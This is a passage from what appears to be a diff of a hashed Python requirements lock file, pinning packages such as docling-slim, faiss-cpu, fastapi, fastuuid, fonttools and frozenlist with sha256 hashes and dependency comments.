--hash=sha256:344c7f1da55be7fc992045fb5ff07b411e589b1da62a8f943842ac7ac986245a \ + --hash=sha256:447ced8771f7053f9f834efec363d578d92598119b95e83bed2551c185a7355f \ + --hash=sha256:4f73b41fda9c4fa6beb6c3d685071dd28a2c1f00e69f0133fbc15bda8c0f7ab7 \ + --hash=sha256:55d3189fd36a5afcab884680e51c9131fd28359f2af32e718dd34a7432d62af3 \ + --hash=sha256:5e38953b7e023b6456c8e989d2e92a212489d7b412616c1b6d7c9b62953ee564 \ + --hash=sha256:61a2f203a8e4ce5cd27fba2b6de4474eb11b5e6e1e17116e0dd349376d234d6d \ + --hash=sha256:6488966275412d599aa2fcd0920cea38bb20ac937aeb5bd135ea5354c6dcb5b6 \ + --hash=sha256:8a3debe619e2303442139472ec39a21cdb4714b27d026cf0c34233411779c8c4 \ + --hash=sha256:8e5ee53b6dfe6806b7c3a0d84d564530c5be9dfe0cb3823014f4654d92f345ee \ + --hash=sha256:a3c91f46776ba2aa3c31667747f4f39e91f8c1b58e391663c5e44d7bb416a3f6 \ + --hash=sha256:b3a740f373f00c87555cdbbf996b726df1e99a9de5d95a24484f71d1f7394077 \ + --hash=sha256:c73d965106e07f4af76f137ff1ad4ed67c7fc89cc745f96c214377bfde2e9baf \ + --hash=sha256:cc40315ddda283efc8abe5e62472464c1ff9f55f38ed65fc6f7e42c7ff425062 \ + --hash=sha256:cfddd1f3a3631e87d4c965b4ffd0dc95e249b046af0a6b8916e129285fb0e80c \ + --hash=sha256:d5c015e19e9be88ce001115a1913bf6addf4c2931c3556e9cf2a10b596bbe46d \ + --hash=sha256:dd75ec4d62f42db4a56b1cce6c0f6d3a8605feb364027f95b22dae7465f23ab0 \ + --hash=sha256:e1fef05edfc00ef3133fa38b8b169e76d1897ac71f550577971751aa2cb8fe5d \ + --hash=sha256:fb9426f173fadece791c0007b98b94ba5ee8c71721748005fa992b5d2a8cd0ad \ + --hash=sha256:ff5ac71bc2a702cbc7bd4fd7c2fcbf6af483c982af4bae36fb727a9db169a849 \ + --hash=sha256:fff030c85eb85fc6589bdabc64bdc58a0c82cd6e0870ff9cf55114be525f46f5 + # via docling-slim +docling-slim==2.119.0 \ + --hash=sha256:7b4ee3891e536403f07b6ab702bc757d6c3e4fe146475656d97cf911ac96db8f \ + --hash=sha256:ca385bc6b0ca99a4f0bba07feaa4c0fc4d5fa685a22184baa79de4bd87598323 + # via docling +docstring-parser==0.18.0 \ + --hash=sha256:292510982205c12b1248696f44959db3cdd1740237a968ea1e2e7a900eeb2015 \ + --hash=sha256:b3fcbed555c47d8479be0796ef7e19c2670d428d72e96da63f3a40122860374b + # via + # agno + # anthropic + # instructor +et-xmlfile==2.0.0 \ + --hash=sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa \ + --hash=sha256:dab3f4764309081ce75662649be815c4c9081e88f0837825f90fd28317d4da54 + # via openpyxl +executing==2.2.1 \ + --hash=sha256:3632cc370565f6648cc328b32435bd120a1e4ebb20c77e3fdde9a13cd1e533c4 \ + --hash=sha256:760643d3452b4d777d295bb167ccc74c64a81df23fb5e08eff250c425a4b2017 + # via stack-data +faiss-cpu==1.15.0 \ + --hash=sha256:22dddb013e764aad66dac6cd15b49c7598d60339e0591b73b5e081629419c21b \ + --hash=sha256:30da3029952f0de69f16ce31946fd63fc3e292c867749bbcd2c0a0f09fd06f65 \ + --hash=sha256:37170d5e9ead4b6bfd9c314afc39e17e92064068a0c5a4063dd3f39568c2667e \ + --hash=sha256:50ea471ef1f4f3580eda8ab0ec9727d4bf65fd71c444bf306ce7cdbba8a42b21 \ + --hash=sha256:5b940897b317febaa761088513a3db164fad3ac71a5e1ed7be9a052c9bf1a447 \ + --hash=sha256:5d0a2d5d33fe023e263d0d355a837f20db67578e3be27fc5f4012a273274abf6 \ + --hash=sha256:88fbe1acac6978869063cb2f9477f85718da596a6e0a17751618f9c756bce255 \ + --hash=sha256:90169515a95ea58a9a95d419e518907927a8ef54c46788396365ec5902c9c8df \ + --hash=sha256:dd383bb1ce06fabcff5785f998f253aa88f88dcbe1fe36c922417cd6666dd896 \ + --hash=sha256:e0fe7278f3784b7d205ae715a115801cafb75f6e55db6b0fbe83c4ff379f003f \ + --hash=sha256:ec9b29aae29e428c085c2d49dbb02e4673cdea75db418d420f9e60e0b4184498 + # via semantica (pyproject.toml) +faker==40.36.0 \ + --hash=sha256:754048c76c03afa7de83eee8f4bcee3cf668cbb7d995f54a4e9678db7f110308 \ + --hash=sha256:82b9497d9cfe017048075bcf969298a74b1b6e39f5e4dad1211085d1133f7b62 + # via polyfactory +falkordb==1.6.2 \ + --hash=sha256:73dbbd9df61c56f45cf2fe8b9028888ad4892712790ce4e40d7ceabe118609ae \ + --hash=sha256:b17571ebf4d65dbd3588e8c470b16f0ddfea820e0a15ed73af0dd1a4728b480d + # via semantica (pyproject.toml) +fastapi==0.141.1 \ + --hash=sha256:bfb91aa2d334c61cb35ba9a116fc123b3d3df31640b801cf57a7a78ec3f603b3 \ + --hash=sha256:e8822fc40db1e1858054d7a949a888695bc9bdce70139178e33bd2871a453ca1 + # via semantica (pyproject.toml) +fastembed==0.8.0 \ + --hash=sha256:40bee672657574a1009e35ec50030a55f2b426842cb011845379817641bbbbd0 \ + --hash=sha256:75966edfa8b006ee78514c726bd7f6a50721dadc89305279052be9db72fd53e8 + # via semantica (pyproject.toml) +fastjsonschema==2.22.1 \ + --hash=sha256:0b83d1ce8d7845b959dcb20e1a5c3c8883b6541d9c52ab02cce5166b75ec805f \ + --hash=sha256:cf377ff5c9a6f4f3125fb35f75a2c5767bd824ffbcf62c209a93cd48d1453999 + # via nbformat +fastuuid==0.14.0 \ + --hash=sha256:05a8dde1f395e0c9b4be515b7a521403d1e8349443e7641761af07c7ad1624b1 \ + --hash=sha256:0737606764b29785566f968bd8005eace73d3666bd0862f33a760796e26d1ede \ + --hash=sha256:089c18018fdbdda88a6dafd7d139f8703a1e7c799618e33ea25eb52503d28a11 \ + --hash=sha256:09098762aad4f8da3a888eb9ae01c84430c907a297b97166b8abc07b640f2995 \ + --hash=sha256:09378a05020e3e4883dfdab438926f31fea15fd17604908f3d39cbeb22a0b4dc \ + --hash=sha256:0c9ec605ace243b6dbe3bd27ebdd5d33b00d8d1d3f580b39fdd15cd96fd71796 \ + --hash=sha256:0df14e92e7ad3276327631c9e7cec09e32572ce82089c55cb1bb8df71cf394ed \ + --hash=sha256:12ac85024637586a5b69645e7ed986f7535106ed3013640a393a03e461740cb7 \ + --hash=sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab \ + --hash=sha256:139d7ff12bb400b4a0c76be64c28cbe2e2edf60b09826cbfd85f33ed3d0bbe8b \ + --hash=sha256:13ec4f2c3b04271f62be2e1ce7e95ad2dd1cf97e94503a3760db739afbd48f00 \ + --hash=sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26 \ + --hash=sha256:193ca10ff553cf3cc461572da83b5780fc0e3eea28659c16f89ae5202f3958d4 \ + --hash=sha256:1a771f135ab4523eb786e95493803942a5d1fc1610915f131b363f55af53b219 \ + --hash=sha256:1bf539a7a95f35b419f9ad105d5a8a35036df35fdafae48fb2fd2e5f318f0d75 \ + --hash=sha256:1ca61b592120cf314cfd66e662a5b54a578c5a15b26305e1b8b618a6f22df714 \ + --hash=sha256:1e3cc56742f76cd25ecb98e4b82a25f978ccffba02e4bdce8aba857b6d85d87b \ + --hash=sha256:1e690d48f923c253f28151b3a6b4e335f2b06bf669c68a02665bc150b7839e94 \ + --hash=sha256:2b29e23c97e77c3a9514d70ce343571e469098ac7f5a269320a0f0b3e193ab36 \ + --hash=sha256:2dce5d0756f046fa792a40763f36accd7e466525c5710d2195a038f93ff96346 \ + --hash=sha256:2ec3d94e13712a133137b2805073b65ecef4a47217d5bac15d8ac62376cefdb4 \ + --hash=sha256:2fb3c0d7fef6674bbeacdd6dbd386924a7b60b26de849266d1ff6602937675c8 \ + --hash=sha256:2fc37479517d4d70c08696960fad85494a8a7a0af4e93e9a00af04d74c59f9e3 \ + --hash=sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87 \ + --hash=sha256:3964bab460c528692c70ab6b2e469dd7a7b152fbe8c18616c58d34c93a6cf8d4 \ + --hash=sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8 \ + --hash=sha256:448aa6833f7a84bfe37dd47e33df83250f404d591eb83527fa2cac8d1e57d7f3 \ + --hash=sha256:47c821f2dfe95909ead0085d4cb18d5149bca704a2b03e03fb3f81a5202d8cea \ + --hash=sha256:4edc56b877d960b4eda2c4232f953a61490c3134da94f3c28af129fb9c62a4f6 \ + --hash=sha256:5816d41f81782b209843e52fdef757a361b448d782452d96abedc53d545da722 \ + --hash=sha256:6e6243d40f6c793c3e2ee14c13769e341b90be5ef0c23c82fa6515a96145181a \ + --hash=sha256:6fbc49a86173e7f074b1a9ec8cf12ca0d54d8070a85a06ebf0e76c309b84f0d0 \ + --hash=sha256:73657c9f778aba530bc96a943d30e1a7c80edb8278df77894fe9457540df4f85 \ + --hash=sha256:73946cb950c8caf65127d4e9a325e2b6be0442a224fd51ba3b6ac44e1912ce34 \ + --hash=sha256:77a09cb7427e7af74c594e409f7731a0cf887221de2f698e1ca0ebf0f3139021 \ + --hash=sha256:77e94728324b63660ebf8adb27055e92d2e4611645bf12ed9d88d30486471d0a \ + --hash=sha256:7a3c0bca61eacc1843ea97b288d6789fbad7400d16db24e36a66c28c268cfe3d \ + --hash=sha256:7f2f3efade4937fae4e77efae1af571902263de7b78a0aee1a1653795a093b2a \ + --hash=sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09 \ + --hash=sha256:83cffc144dc93eb604b87b179837f2ce2af44871a7b323f2bfed40e8acb40ba8 \ + --hash=sha256:84b0779c5abbdec2a9511d5ffbfcd2e53079bf889824b32be170c0d8ef5fc74c \ + --hash=sha256:9579618be6280700ae36ac42c3efd157049fe4dd40ca49b021280481c78c3176 \ + --hash=sha256:9a133bf9cc78fdbd1179cb58a59ad0100aa32d8675508150f3658814aeefeaa4 \ + --hash=sha256:9bd57289daf7b153bfa3e8013446aa144ce5e8c825e9e366d455155ede5ea2dc \ + --hash=sha256:a0809f8cc5731c066c909047f9a314d5f536c871a7a22e815cc4967c110ac9ad \ + --hash=sha256:a6f46790d59ab38c6aa0e35c681c0484b50dc0acf9e2679c005d61e019313c24 \ + --hash=sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f \ + --hash=sha256:aa75b6657ec129d0abded3bec745e6f7ab642e6dba3a5272a68247e85f5f316f \ + --hash=sha256:ab32f74bd56565b186f036e33129da77db8be09178cd2f5206a5d4035fb2a23f \ + --hash=sha256:ab3f5d36e4393e628a4df337c2c039069344db5f4b9d2a3c9cea48284f1dd741 \ + --hash=sha256:ac60fc860cdf3c3f327374db87ab8e064c86566ca8c49d2e30df15eda1b0c2d5 \ + --hash=sha256:ae64ba730d179f439b0736208b4c279b8bc9c089b102aec23f86512ea458c8a4 \ + --hash=sha256:af5967c666b7d6a377098849b07f83462c4fedbafcf8eb8bc8ff05dcbe8aa209 \ + --hash=sha256:b2fdd48b5e4236df145a149d7125badb28e0a383372add3fbaac9a6b7a394470 \ + --hash=sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad \ + --hash=sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057 \ + --hash=sha256:bbb0c4b15d66b435d2538f3827f05e44e2baafcc003dd7d8472dc67807ab8fd8 \ + --hash=sha256:bcc96ee819c282e7c09b2eed2b9bd13084e3b749fdb2faf58c318d498df2efbe \ + --hash=sha256:c0a94245afae4d7af8c43b3159d5e3934c53f47140be0be624b96acd672ceb73 \ + --hash=sha256:c0eb25f0fd935e376ac4334927a59e7c823b36062080e2e13acbaf2af15db836 \ + --hash=sha256:c3091e63acf42f56a6f74dc65cfdb6f99bfc79b5913c8a9ac498eb7ca09770a8 \ + --hash=sha256:c501561e025b7aea3508719c5801c360c711d5218fc4ad5d77bf1c37c1a75779 \ + --hash=sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b \ + --hash=sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d \ + --hash=sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022 \ + --hash=sha256:cd5a7f648d4365b41dbf0e38fe8da4884e57bed4e77c83598e076ac0c93995e7 \ + --hash=sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070 \ + --hash=sha256:d31f8c257046b5617fc6af9c69be066d2412bdef1edaa4bdf6a214cf57806105 \ + --hash=sha256:d55b7e96531216fc4f071909e33e35e5bfa47962ae67d9e84b00a04d6e8b7173 \ + --hash=sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397 \ + --hash=sha256:de01280eabcd82f7542828ecd67ebf1551d37203ecdfd7ab1f2e534edb78d505 \ + --hash=sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a \ + --hash=sha256:e0976c0dff7e222513d206e06341503f07423aceb1db0b83ff6851c008ceee06 \ + --hash=sha256:e150eab56c95dc9e3fefc234a0eedb342fac433dacc273cd4d150a5b0871e1fa \ + --hash=sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06 \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 \ + --hash=sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad \ + --hash=sha256:f74631b8322d2780ebcf2d2d75d58045c3e9378625ec51865fe0b5620800c39d + # via litellm +filelock==3.32.2 \ + --hash=sha256:87dd94cf281e586d135fa51132b8e3d9a598b316e90377a288663c9321036c82 \ + --hash=sha256:c33351e1f49cae33414acbc6d56784e6ecee82514ec90795da1161fc4836b5b8 + # via + # huggingface-hub + # python-discovery + # torch + # virtualenv +filetype==1.2.0 \ + --hash=sha256:66b56cd6474bf41d8c54660347d37afcc3f7d1970648de365c102ef77548aadb \ + --hash=sha256:7ce71b6880181241cf7ac8697a2f1eb6a8bd9b429f7ad6d27b8db9ba5f1c2d25 + # via docling-slim +flake8==7.3.0 \ + --hash=sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e \ + --hash=sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872 + # via semantica (pyproject.toml) +flatbuffers==25.12.19 \ + --hash=sha256:7634f50c427838bb021c2d66a3d1168e9d199b0607e6329399f04846d42e20b4 + # via onnxruntime +fonttools==4.63.0 \ + --hash=sha256:032038247a96c1690f9f31e377c389383c902531b085aa4e4dabd6f57f870e69 \ + --hash=sha256:063e08bd17bd5a90127a14123de0d6a952dbc847695fd98b63c043d58057f90c \ + --hash=sha256:0c18358a155d75034911c5ee397a5b44cd19dd325dbb8b35fb60bf421d6a72ac \ + --hash=sha256:0eac00b9118c3c2f87d272e45341871c5b3066baa3c86897fa634a7c3fb59096 \ + --hash=sha256:1e874792a8212b44583ea02189d9e693906b2f78b261f372f95d6c563210ac1d \ + --hash=sha256:22135da48a348785c5e2d5d2d9d6bec5ed44adacbaeb9db12d9493bf6c6bfa68 \ + --hash=sha256:22693918177bd9ceabec4736d338045f357769416fc6b0b2508eefef75b08616 \ + --hash=sha256:27fdc65af8da6f88b9c6121c47a464cbe359fcfff7ff6fc2d37a1f395d755b78 \ + --hash=sha256:2b8ae05d9eacf6081414d759c0a352769ac28ce31280d6bb8e77b03f9e3c449f \ + --hash=sha256:2c14b4fd138c4bafcca294765c547914e1aa431ae1ca94ab99d8db08c958bd3b \ + --hash=sha256:308f957cdeaf8abe4e5f2f124902ef405448af92c90f80e302a3b771c2e6116b \ + --hash=sha256:37dd23e621e3b0aef1baa70a303b80aaf38449632cfc8fd2a55fb285bbccfc02 \ + --hash=sha256:445af2eab030a16b9171ea8bdda7ebf7d96bda2df88ee182a464252f6e05e20d \ + --hash=sha256:51394295f1a51de8b5f30bdb1e1b9a4231536c7064ef5c6e211eec19fa36036f \ + --hash=sha256:58dc6bb86a78d782f00f9190ca02c119cf5bbe2807536e361e18d42019f877d8 \ + --hash=sha256:59ac449f8cca9b4ffa08d2e7bbadad87ce710d69d1eda5c3c1ce579baa987272 \ + --hash=sha256:6b2248c5decb223562f7902ff6325077a073f608ee8e33e88ad88db734eb9f49 \ + --hash=sha256:6d4741eb179121cab9eea4cb2393d24492373a260d7945006358c08cfbf45419 \ + --hash=sha256:6db5140a60a5d731d21ec076745b40a310607731b0a565b50776393188649001 \ + --hash=sha256:6e528da43bc3791085f8cb6141b1d13e459226790240340fcbb4625649238b03 \ + --hash=sha256:796f27556dbe094c4824f75ca85267e4df776c79036c8441469a4df37038c196 \ + --hash=sha256:79cdc9f567aec74a72918fd060283911406750cbc9fd28c1316023deb6ce31a9 \ + --hash=sha256:7d76edbff9014094dbf03bd2d074709dfa6ec7aba13d838c937a2b33d2d6a86e \ + --hash=sha256:7d782fac32985914c351556f68ac0855391572bcd87de50e05970d3cd4c96fc5 \ + --hash=sha256:7dd683fef0663e9f0f45cf541d788d24caa3ec9db50796b588e1757d8b3bc007 \ + --hash=sha256:85be818f5506e8a7753153def2c9550178f0ecae6a47b5e0e8dbb23f7cc90380 \ + --hash=sha256:948428a275741f0b64b113c955425a953314f4b9ab9997f73a72c83e68e569c8 \ + --hash=sha256:9ced0bd02ac751dd6319b0da88aaef24414e3b0dbc32bb4f24944821a3741a27 \ + --hash=sha256:9e12f105d2b6342c559c298afb674006bb2893afc7102dcf8a1b55b0486b4e40 \ + --hash=sha256:a8b33a82979e0a6a34ff435cc81317be1f95ec1ebb7a3a2d1c8a6a54f02ae44e \ + --hash=sha256:a9faff9e0c1f76f9fd55899d2ce785832efebab37eb8ae13995853aef178bef0 \ + --hash=sha256:af2fd1664d00a397d75f806985ddb36282091c2131a73a6485c23b4a34722263 \ + --hash=sha256:afefc1ed0a59785a7fb06ea7e1678e849c193e1e387db783579bc7b3056fcfcb \ + --hash=sha256:b1cd75a03ad8cb5bc40c90bfde68c0c47de423aa19e5c0f362b43520645eea94 \ + --hash=sha256:ba04cb5891d4c0c21b6da95eda8d7b090021508a294fff33464fc7d241e0856b \ + --hash=sha256:bf00f21eb5fb721dbaf73d1e9da6d02a1af7768f2ebcf9798be98beab8ba90f6 \ + --hash=sha256:c0425b277a59cff3d80ca42162a8de360f318438a2ac83570842a678d826d579 \ + --hash=sha256:c1aaa4b9c75798400ac043ce04d74e7830376c85095a5a6ed7cba2f17a266bf4 \ + --hash=sha256:c2a2a42198b696a6f48fad91709afb55176e66a5e566131219dba372fb7f8c59 \ + --hash=sha256:caeb583deeb5168e694b65cda8b4ee62abedfa66cf88488734466f2366b9c4e0 \ + --hash=sha256:cb014d58140a38135f16064c74c652ed57aa0b75cbf8bb59cac821f7edb5334e \ + --hash=sha256:ccf41f2efdf56994d22d73bef4ced1052161958169428d06ba9724ea9e9a64be \ + --hash=sha256:cd7e9857e5e63738b9d9fd707bc1f59c8b09e5177726d23664db393c59bb08bd \ + --hash=sha256:d76ac49f929aecaf82d83250b8347e099d7aecba0f4726c1d9b6df3b8bb5fe18 \ + --hash=sha256:d7e5c9973aa04c95650c96e5f5ad865fbf42d62079163ecfab1e01cbc2504c22 \ + --hash=sha256:dcf076a4474fe0d7367e5bbf5b052c7284fa1feca729c04176ce513521afd8a0 \ + --hash=sha256:e3297a6a4059b4acc3a1e9a8b04741f240a80044eef08ebd32e8b5bcdddce75b \ + --hash=sha256:ee08ebfa58f6e1aeff5697ab9582105bb620008c1caafb681e4c557e7483027b \ + --hash=sha256:ef3048ef05dbb552b89817713d9cac912e00d0fde4a3105c00d29e52e10c89af \ + --hash=sha256:fd1e3094f42d806d3d7c79162fc59e5910fcbe3a7360c385b8da969bc4493745 + # via matplotlib +fqdn==1.5.1 \ + --hash=sha256:105ed3677e767fb5ca086a0c1f4bb66ebc3c100be518f0e0d755d9eae164d89f \ + --hash=sha256:3a179af3761e4df6eb2e026ff9e1a3033d3587bf980a0b1b2e1e5d08d7358014 + # via jsonschema +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + 